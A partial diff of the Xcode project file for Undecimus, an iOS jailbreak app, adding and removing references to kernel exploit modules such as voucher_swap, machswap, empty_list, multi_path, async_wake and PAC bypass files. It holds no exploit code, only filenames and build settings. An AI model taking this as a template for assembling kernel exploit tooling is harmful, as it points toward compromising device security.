2150A9D622021348001C8677 /* kernel_slide.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_slide.c; sourceTree = "<group>"; };
2150A9D722021348001C8677 /* platform_match.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform_match.h; sourceTree = "<group>"; };
2150A9D822021348001C8677 /* kernel_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_memory.h; sourceTree = "<group>"; };
2150A9D922021348001C8677 /* parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = parameters.c; sourceTree = "<group>"; };
2150A9DA22021348001C8677 /* kernel_alloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_alloc.c; sourceTree = "<group>"; };
2150A9DB22021348001C8677 /* kernel_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_memory.c; sourceTree = "<group>"; };
2150A9E322021381001C8677 /* mach_vm.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = mach_vm.h; sourceTree = "<group>"; };
2150A9E422021381001C8677 /* ipc_port.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ipc_port.h; sourceTree = "<group>"; };
2150A9E52202138A001C8677 /* IOKitLib.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOKitLib.h; sourceTree = "<group>"; };
2163BE1F22A1DB2400518DD9 /* sandbox.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = sandbox.h; sourceTree = "<group>"; };
2163BE2022A1DB4700518DD9 /* libsandbox.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libsandbox.tbd; path = usr/lib/libsandbox.tbd; sourceTree = SDKROOT; };
216F3F352228776D007DC1BC /* user_client.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = user_client.h; sourceTree = "<group>"; };
216F3F362228776D007DC1BC /* kernel_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_call.c; sourceTree = "<group>"; };
216F3F372228776D007DC1BC /* user_client.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = user_client.c; sourceTree = "<group>"; };
216F3F382228776D007DC1BC /* pac.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pac.h; sourceTree = "<group>"; };
216F3F392228776D007DC1BC /* kernel_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_call.h; sourceTree = "<group>"; };
216F3F3A2228776D007DC1BC /* pac.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pac.c; sourceTree = "<group>"; };
216F3F3B2228776D007DC1BC /* kc_parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kc_parameters.h; sourceTree = "<group>"; };
216F3F3C2228776E007DC1BC /* kc_parameters.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kc_parameters.c; sourceTree = "<group>"; };
216FDA1D220C5F5C0086D802 /* libz.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libz.tbd; path = usr/lib/libz.tbd; sourceTree = SDKROOT; };
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = SystemConfiguration.framework; path = System/Library/Frameworks/SystemConfiguration.framework; sourceTree = SDKROOT; };
2199B8E7226B40C600A8255D /* kalloc_crash.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kalloc_crash.h; sourceTree = "<group>"; };
2199B8E8226B40C600A8255D /* kalloc_crash.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kalloc_crash.c; sourceTree = "<group>"; };
219BF90422832DBC00A4B827 /* UIProgressHUD.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = UIProgressHUD.h; sourceTree = "<group>"; };
219C909E228703DA00AFA38A /* jailbreak.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = jailbreak.h; sourceTree = "<group>"; };
219C909F228703DA00AFA38A /* jailbreak.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = jailbreak.m; sourceTree = "<group>"; };
21A97FC42148103A00DC0023 /* KernelExecution.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelExecution.h; sourceTree = "<group>"; };
21A97FC52148103B00DC0023 /* remote_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_call.h; sourceTree = "<group>"; };
21A97FC62148103B00DC0023 /* remote_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_memory.c; sourceTree = "<group>"; };
@@ -138,9 +64,6 @@
21A97FCC2148103B00DC0023 /* KernelUtilities.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelUtilities.c; sourceTree = "<group>"; };
21A97FCD2148103B00DC0023 /* remote_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_call.c; sourceTree = "<group>"; };
21A97FCE2148103C00DC0023 /* remote_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_memory.h; sourceTree = "<group>"; };
21B4218F2261302F004C17CD /* MobileCoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileCoreServices.framework; path = System/Library/Frameworks/MobileCoreServices.framework; sourceTree = SDKROOT; };
21BB9802222F05C40012AF40 /* machswap2_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap2_pwn.m; sourceTree = "<group>"; };
21BB9803222F05C40012AF40 /* machswap2_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap2_pwn.h; sourceTree = "<group>"; };
21C0FC6721369EB700849420 /* Undecimus.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Undecimus.app; sourceTree = BUILT_PRODUCTS_DIR; };
21C0FC6A21369EB700849420 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
21C0FC6B21369EB700849420 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
@@ -152,10 +75,10 @@
21C0FC7921369EB800849420 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
21C0FC8021369EE900849420 /* KernelMemory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelMemory.c; sourceTree = "<group>"; };
21C0FC8121369EE900849420 /* empty_list_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = empty_list_sploit.h; sourceTree = "<group>"; };
21C0FC8221369EE900849420 /* KernelOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelOffsets.h; sourceTree = "<group>"; };
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelStructureOffsets.h; sourceTree = "<group>"; };
21C0FC8321369EE900849420 /* KernelMemory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelMemory.h; sourceTree = "<group>"; };
21C0FC8521369EE900849420 /* empty_list_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = empty_list_sploit.c; sourceTree = "<group>"; };
21C0FC8621369EE900849420 /* KernelOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelOffsets.m; sourceTree = "<group>"; };
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelStructureOffsets.m; sourceTree = "<group>"; };
21C0FC8B21369FC500849420 /* common.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = "<group>"; };
21C0FC8F2136A2C500849420 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
21C0FC902136A46500849420 /* SpringBoardServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SpringBoardServices.framework; sourceTree = "<group>"; };
@@ -167,20 +90,11 @@
21C130EA214C03690021AA9D /* CreditsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsTableViewController.m; sourceTree = "<group>"; };
21C13117214D268F0021AA9D /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = "<group>"; };
21C13118214D268F0021AA9D /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = "<group>"; };
21CC3901227CDFDE0072D572 /* prefs.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = prefs.h; sourceTree = "<group>"; };
21CC3902227CDFDE0072D572 /* prefs.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = prefs.m; sourceTree = "<group>"; };
21CC3903227CDFDE0072D572 /* diagnostics.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = diagnostics.m; sourceTree = "<group>"; };
21CC3904227CDFDE0072D572 /* diagnostics.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = diagnostics.h; sourceTree = "<group>"; };
21C1312E214D5A710021AA9D /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
21E9642421A1DD6F000625F7 /* NSTask.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSTask.h; sourceTree = "<group>"; };
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = patchfinder64.c; path = patchfinder64/patchfinder64.c; sourceTree = SOURCE_ROOT; };
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = patchfinder64.h; path = patchfinder64/patchfinder64.h; sourceTree = SOURCE_ROOT; };
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = Painting_With_Chocolate.ttf; sourceTree = "<group>"; };
21FF63C9224E5FDC008B76D9 /* offsetcache.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = offsetcache.c; path = "offset-cache/offsetcache.c"; sourceTree = SOURCE_ROOT; };
21FF63CA224E5FDC008B76D9 /* offsetcache.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = offsetcache.h; path = "offset-cache/offsetcache.h"; sourceTree = SOURCE_ROOT; };
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_pwn.h; sourceTree = "<group>"; };
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_offsets.h; sourceTree = "<group>"; };
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_offsets.m; sourceTree = "<group>"; };
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_pwn.m; sourceTree = "<group>"; };
222AD59221FA731800DCBA2A /* FakeApt.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = FakeApt.m; sourceTree = "<group>"; };
222AD59421FA732A00DCBA2A /* FakeApt.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = FakeApt.h; sourceTree = "<group>"; };
225D142121E052960045493D /* ArchiveFile.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ArchiveFile.m; sourceTree = "<group>"; };
@@ -195,14 +109,6 @@
22F91CDA21E02CF300B2FCAE /* inject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = inject.h; path = Injector/inject.h; sourceTree = SOURCE_ROOT; };
22F91CDE21E02EB000B2FCAE /* snappy.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = snappy.h; path = snappy/snappy.h; sourceTree = SOURCE_ROOT; };
22F91CE221E033A500B2FCAE /* libsnappy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = libsnappy.c; path = snappy/libsnappy.c; sourceTree = SOURCE_ROOT; };
51435080229E2F0C00446FBA /* Settings-Light.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "Settings-Light.png"; sourceTree = "<group>"; };
51F1DB22229ED54300B81A6F /* DarkMode-Dark.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "DarkMode-Dark.png"; sourceTree = "<group>"; };
51F1DB23229ED54400B81A6F /* Settings-Dark.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "Settings-Dark.png"; sourceTree = "<group>"; };
51F1DB26229F2AD200B81A6F /* RobotoMono-Regular.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = "RobotoMono-Regular.ttf"; sourceTree = "<group>"; };
51F1DB27229F2BC700B81A6F /* RobotoMono-Bold.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = "RobotoMono-Bold.ttf"; sourceTree = "<group>"; };
51F1DB28229F31C400B81A6F /* DarkMode-Light.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "DarkMode-Light.png"; sourceTree = "<group>"; };
51F1DB29229F31D300B81A6F /* DarkMode-Light.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; name = "DarkMode-Light.png"; path = "../../../../DarkMode-Light.png"; sourceTree = "<group>"; };
51F1DB2A229F325700B81A6F /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
8D592A67218E47F60035D2BC /* Main.storyboard */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.storyboard; path = Main.storyboard; sourceTree = "<group>"; };
/* End PBXFileReference section */
@@ -211,10 +117,6 @@
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
2163BE2122A1DB4700518DD9 /* libsandbox.tbd in Frameworks */,
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */,
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */,
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */,
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */,
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */,
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */,
@@ -242,98 +144,9 @@
path = sys;
sourceTree = "<group>";
};
213E78222208652B00FDF3B7 /* necp */ = {
isa = PBXGroup;
children = (
213E78242208654700FDF3B7 /* necp.h */,
213E78252208654700FDF3B7 /* necp.c */,
);
name = necp;
sourceTree = "<group>";
};
214A1771224EBE4900588EC4 /* kerneldec */ = {
isa = PBXGroup;
children = (
214A1774224EBE5400588EC4 /* kerneldec.cpp */,
214A1772224EBE5400588EC4 /* kerneldec.h */,
214A1773224EBE5400588EC4 /* lzssdec.cpp */,
214A1775224EBE5400588EC4 /* lzssdec.h */,
);
name = kerneldec;
sourceTree = "<group>";
};
2150A9C6220212A6001C8677 /* empty_list */ = {
isa = PBXGroup;
children = (
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
);
name = empty_list;
sourceTree = "<group>";
};
2150A9C7220212BC001C8677 /* multi_path */ = {
isa = PBXGroup;
children = (
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
);
name = multi_path;
sourceTree = "<group>";
};
2150A9C8220212D1001C8677 /* async_wake */ = {
isa = PBXGroup;
children = (
212D8849216E4EBE00A36DA5 /* async_wake.c */,
212D8848216E4EBE00A36DA5 /* async_wake.h */,
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
212D8842216E4C4700A36DA5 /* find_port.c */,
212D8843216E4C4700A36DA5 /* find_port.h */,
);
name = async_wake;
sourceTree = "<group>";
};
2150A9C9220212E6001C8677 /* deja_xnu */ = {
isa = PBXGroup;
children = (
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
);
name = deja_xnu;
sourceTree = "<group>";
};
2150A9CA220212F8001C8677 /* voucher_swap */ = {
isa = PBXGroup;
children = (
2150A9DA22021348001C8677 /* kernel_alloc.c */,
2150A9D122021347001C8677 /* kernel_alloc.h */,
2150A9DB22021348001C8677 /* kernel_memory.c */,
2150A9D822021348001C8677 /* kernel_memory.h */,
2150A9D622021348001C8677 /* kernel_slide.c */,
2150A9D322021347001C8677 /* kernel_slide.h */,
2150A9CE22021347001C8677 /* log.c */,
2150A9D522021347001C8677 /* log.h */,
2150A9D922021348001C8677 /* parameters.c */,
2150A9D022021347001C8677 /* parameters.h */,
2150A9CF22021347001C8677 /* platform_match.c */,
2150A9D722021348001C8677 /* platform_match.h */,
2150A9D422021347001C8677 /* platform.c */,
2150A9D222021347001C8677 /* platform.h */,
2150A9CC22021330001C8677 /* voucher_swap.c */,
2150A9CB22021330001C8677 /* voucher_swap.h */,
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */,
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */,
);
name = voucher_swap;
sourceTree = "<group>";
};
21675B62214A68B700D20E2B /* Frameworks */ = {
isa = PBXGroup;
children = (
2163BE2022A1DB4700518DD9 /* libsandbox.tbd */,
21B4218F2261302F004C17CD /* MobileCoreServices.framework */,
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */,
216FDA1D220C5F5C0086D802 /* libz.tbd */,
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */,
22CFED9121CDFE6B00A216BE /* libmis.tbd */,
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */,
@@ -341,29 +154,9 @@
name = Frameworks;
sourceTree = "<group>";
};
216F3F342228774D007DC1BC /* kernel_call */ = {
isa = PBXGroup;
children = (
216F3F3C2228776E007DC1BC /* kc_parameters.c */,
216F3F3B2228776D007DC1BC /* kc_parameters.h */,
216F3F362228776D007DC1BC /* kernel_call.c */,
216F3F392228776D007DC1BC /* kernel_call.h */,
216F3F3A2228776D007DC1BC /* pac.c */,
216F3F382228776D007DC1BC /* pac.h */,
216F3F372228776D007DC1BC /* user_client.c */,
216F3F352228776D007DC1BC /* user_client.h */,
);
name = kernel_call;
sourceTree = "<group>";
};
2170BD3421B192750059BD10 /* include */ = {
isa = PBXGroup;
children = (
2163BE1F22A1DB2400518DD9 /* sandbox.h */,
219BF90422832DBC00A4B827 /* UIProgressHUD.h */,
2150A9E322021381001C8677 /* mach_vm.h */,
2150A9E422021381001C8677 /* ipc_port.h */,
2150A9E52202138A001C8677 /* IOKitLib.h */,
226689DA21EC145000262F66 /* archive.h */,
226689DB21EC145000262F66 /* libproc.h */,
211C372621CE2DD800ADBEA2 /* net */,
@@ -380,14 +173,8 @@
2170BD3621B192B90059BD10 /* resources */ = {
isa = PBXGroup;
children = (
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
51F1DB26229F2AD200B81A6F /* RobotoMono-Regular.ttf */,
51F1DB27229F2BC700B81A6F /* RobotoMono-Bold.ttf */,
51F1DB28229F31C400B81A6F /* DarkMode-Light.png */,
51F1DB22229ED54300B81A6F /* DarkMode-Dark.png */,
51F1DB23229ED54400B81A6F /* Settings-Dark.png */,
51435080229E2F0C00446FBA /* Settings-Light.png */,
51F1DB29229F31D300B81A6F /* DarkMode-Light.png */,
);
path = resources;
sourceTree = "<group>";
@@ -395,17 +182,6 @@
2170BDCB21B32FF10059BD10 /* source */ = {
isa = PBXGroup;
children = (
2199B8E6226B40BD00A8255D /* kalloc_crash */,
214A1771224EBE4900588EC4 /* kerneldec */,
21FF63C8224E5FCE008B76D9 /* offset-cache */,
21FFE0F3222E4B1600EC59B2 /* machswap */,
216F3F342228774D007DC1BC /* kernel_call */,
213E78222208652B00FDF3B7 /* necp */,
2150A9CA220212F8001C8677 /* voucher_swap */,
2150A9C9220212E6001C8677 /* deja_xnu */,
2150A9C8220212D1001C8677 /* async_wake */,
2150A9C7220212BC001C8677 /* multi_path */,
2150A9C6220212A6001C8677 /* empty_list */,
21F4D70B21FC7A490070D5E0 /* patchfinder64 */,
22F91CDC21E02D0B00B2FCAE /* snappy */,
22F91CD821E02CC700B2FCAE /* injector */,
@@ -413,15 +189,27 @@
21C0FC6B21369EB700849420 /* AppDelegate.m */,
225D142321E055E90045493D /* ArchiveFile.h */,
225D142121E052960045493D /* ArchiveFile.m */,
212D8849216E4EBE00A36DA5 /* async_wake.c */,
212D8848216E4EBE00A36DA5 /* async_wake.h */,
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
212D8842216E4C4700A36DA5 /* find_port.c */,
212D8843216E4C4700A36DA5 /* find_port.h */,
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
21A97FC42148103A00DC0023 /* KernelExecution.h */,
21A97FC82148103B00DC0023 /* KernelExecution.m */,
21C0FC8021369EE900849420 /* KernelMemory.c */,
21C0FC8321369EE900849420 /* KernelMemory.h */,
21C0FC8221369EE900849420 /* KernelOffsets.h */,
21C0FC8621369EE900849420 /* KernelOffsets.m */,
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */,
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */,
21A97FC92148103B00DC0023 /* KernelUtilities.h */,
21A97FCC2148103B00DC0023 /* KernelUtilities.c */,
21C0FC7921369EB800849420 /* main.m */,
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
21A97FC52148103B00DC0023 /* remote_call.h */,
21A97FCD2148103B00DC0023 /* remote_call.c */,
21A97FC62148103B00DC0023 /* remote_memory.c */,
@@ -438,12 +226,6 @@
22C546AA21A8A8FD00EFC09C /* utils.m */,
222AD59421FA732A00DCBA2A /* FakeApt.h */,
222AD59221FA731800DCBA2A /* FakeApt.m */,
21CC3901227CDFDE0072D572 /* prefs.h */,
21CC3902227CDFDE0072D572 /* prefs.m */,
21CC3904227CDFDE0072D572 /* diagnostics.h */,
21CC3903227CDFDE0072D572 /* diagnostics.m */,
219C909E228703DA00AFA38A /* jailbreak.h */,
219C909F228703DA00AFA38A /* jailbreak.m */,
);
path = source;
sourceTree = "<group>";
@@ -456,15 +238,6 @@
path = frameworks;
sourceTree = "<group>";
};
2199B8E6226B40BD00A8255D /* kalloc_crash */ = {
isa = PBXGroup;
children = (
2199B8E7226B40C600A8255D /* kalloc_crash.h */,
2199B8E8226B40C600A8255D /* kalloc_crash.c */,
);
name = kalloc_crash;
sourceTree = "<group>";
};
21C0FC5E21369EB700849420 = {
isa = PBXGroup;
children = (
@@ -491,7 +264,6 @@
2170BD3621B192B90059BD10 /* resources */,
2170BD3421B192750059BD10 /* include */,
8D592A67218E47F60035D2BC /* Main.storyboard */,
51F1DB2A229F325700B81A6F /* multi_path.entitlements */,
21C0FC7321369EB800849420 /* Assets.xcassets */,
21C0FC7521369EB800849420 /* LaunchScreen.storyboard */,
21C0FC7821369EB800849420 /* Info.plist */,
@@ -508,28 +280,6 @@
name = patchfinder64;
sourceTree = "<group>";
};
21FF63C8224E5FCE008B76D9 /* offset-cache */ = {
isa = PBXGroup;
children = (
21FF63C9224E5FDC008B76D9 /* offsetcache.c */,
21FF63CA224E5FDC008B76D9 /* offsetcache.h */,
);
name = "offset-cache";
sourceTree = "<group>";
};
21FFE0F3222E4B1600EC59B2 /* machswap */ = {
isa = PBXGroup;
children = (
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */,
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */,
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */,
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */,
21BB9803222F05C40012AF40 /* machswap2_pwn.h */,
21BB9802222F05C40012AF40 /* machswap2_pwn.m */,
);
name = machswap;
sourceTree = "<group>";
};
22F91CD821E02CC700B2FCAE /* injector */ = {
isa = PBXGroup;
children = (
@@ -575,7 +325,7 @@
21C0FC5F21369EB700849420 /* Project object */ = {
isa = PBXProject;
attributes = {
LastUpgradeCheck = 1010;
LastUpgradeCheck = 0940;
ORGANIZATIONNAME = Pwn20wnd;
TargetAttributes = {
21C0FC6621369EB700849420 = {
@@ -607,11 +357,9 @@
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
51F1DB25229ED54400B81A6F /* Settings-Dark.png in Resources */,
51435081229E2F0C00446FBA /* Settings-Light.png in Resources */,
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */,
51F1DB24229ED54400B81A6F /* DarkMode-Dark.png in Resources */,
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */,
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */,
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
@@ -641,51 +389,27 @@
buildActionMask = 2147483647;
files = (
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */,
216F3F3E2228776E007DC1BC /* user_client.c in Sources */,
2150A9E022021348001C8677 /* parameters.c in Sources */,
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */,
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */,
2150A9DD22021348001C8677 /* platform_match.c in Sources */,
212D8844216E4C4800A36DA5 /* find_port.c in Sources */,
213E78262208654700FDF3B7 /* necp.c in Sources */,
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */,
2150A9DC22021348001C8677 /* log.c in Sources */,
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */,
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */,
21A97FD42148103C00DC0023 /* remote_call.c in Sources */,
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */,
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */,
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */,
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */,
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */,
2150A9DE22021348001C8677 /* platform.c in Sources */,
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */,
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */,
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */,
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */,
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */,
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */,
21C0FC7A21369EB800849420 /* main.m in Sources */,
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */,
21CC3905227CDFDE0072D572 /* prefs.m in Sources */,
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */,
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */,
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */,
216F3F3F2228776E007DC1BC /* pac.c in Sources */,
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */,
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */,
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */,
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */,
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */,
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */,
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */,
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */,
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */,
2150A9E222021348001C8677 /* kernel_memory.c in Sources */,
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */,
